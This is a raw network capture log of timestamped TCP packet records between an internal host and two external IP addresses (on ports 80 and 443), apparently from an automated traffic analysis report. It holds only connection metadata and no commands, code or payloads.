Nov 18, 2024 20:21:33.938981056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.938991070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939002037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939021111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.939059019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939071894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939084053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939095974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.939126015 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.939204931 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939217091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939227104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.939249992 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.961352110 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.962052107 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.962083101 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.962821960 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.962841034 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.972167015 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.015705109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.015722036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.015733004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.015743971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.015757084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.015769958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.015811920 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.020843029 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.028608084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.028620958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.028633118 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.028657913 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.028690100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.028939962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.028951883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.028989077 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.028990030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.029005051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.029016018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.029041052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.032795906 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.033344030 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.033366919 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.034087896 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.034096003 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.035819054 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.039603949 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.039971113 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.040026903 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.040415049 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.040427923 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.047720909 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.048129082 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.048147917 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.048548937 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.048552990 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.055953026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.055989027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056000948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056010962 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056035042 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056039095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056051016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056061983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056086063 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056215048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056225061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056257010 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056324005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056335926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056343079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056366920 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056396008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056396961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056421041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056449890 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.056590080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056601048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.056648970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.057049036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057060003 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057071924 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057090998 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.057107925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057118893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057132006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.057141066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.057164907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.057950020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058028936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058034897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058038950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058051109 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058094025 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058100939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058155060 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058182001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058192968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058203936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058227062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058301926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058341026 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058362007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058372021 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058391094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058399916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058402061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058432102 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058619976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058639050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058653116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058664083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058672905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058677912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058712006 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.058969975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058979988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.058990002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059003115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059007883 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.059012890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059024096 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.059026957 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059048891 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.059257030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059305906 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.059334040 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059351921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059364080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059370041 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.059489965 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.061068058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.061101913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.061114073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.061145067 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.069561958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.092761993 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.093070030 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.093133926 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.093163967 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.093185902 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.093202114 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.093208075 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.096215963 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.096251965 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.096318007 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.096481085 CET	49774	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.096494913 CET	443	49774	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.136234999 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136257887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136271000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136281967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136293888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136305094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.136307955 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.136341095 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.136347055 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.149885893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149909973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149921894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149933100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149954081 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149966002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149976969 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.149977922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.149987936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.150006056 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.150023937 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.169728994 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.169861078 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.169909000 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.170067072 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.170084953 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.170099020 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.170104027 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.173549891 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.173590899 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.173785925 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.174504995 CET	49775	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.174518108 CET	443	49775	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.177357912 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.177424908 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.177491903 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.177561998 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.177587032 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.177603960 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.177611113 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.180156946 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.180183887 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.180330992 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.180452108 CET	49776	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.180461884 CET	443	49776	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.181648970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181684971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181698084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181725979 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181742907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181755066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181765079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181776047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181783915 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181818008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181864023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181874990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181885004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181895971 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181906939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181910992 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181920052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181930065 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181932926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.181977034 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.181986094 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182143927 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182154894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182183981 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182286978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182297945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182308912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182322025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182327032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182332993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182348967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182357073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182362080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182363033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182367086 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182373047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182390928 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182410002 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182423115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182434082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182444096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182459116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182460070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182466030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182471991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182472944 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182477951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182497978 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182517052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182575941 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182595015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182605028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182615995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182626009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182636976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182647943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182658911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182670116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182670116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182678938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182678938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182681084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182693005 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182693005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182704926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182717085 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182722092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182722092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182729006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.182739973 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.182761908 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.183041096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.183077097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.183221102 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.183299065 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.183341026 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.183439970 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.183449984 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.183459044 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.183463097 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.185549974 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.185585022 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.185725927 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.185884953 CET	49777	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.185898066 CET	443	49777	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.187022924 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.256376028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.256392956 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.256405115 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.256434917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.265758038 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.266390085 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.266417027 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.266846895 CET	49773	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:34.266855001 CET	443	49773	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:34.270143032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270194054 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.270353079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270364046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270375013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270387888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270401001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270404100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.270412922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270423889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270433903 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.270435095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270447969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270450115 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.270459890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.270474911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.270502090 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302011013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302033901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302047014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302057981 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302068949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302079916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302079916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302092075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302102089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302103996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302115917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302129030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302145958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302165031 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302171946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302182913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302194118 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302203894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302217007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302227974 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302237988 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302239895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302253008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302258015 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302277088 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302290916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302479982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302491903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302501917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302514076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302525043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302525997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302537918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302550077 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302586079 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:34.302649021 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:34.302660942 CET	80	49748	185.215.113.16	192.168.2.5
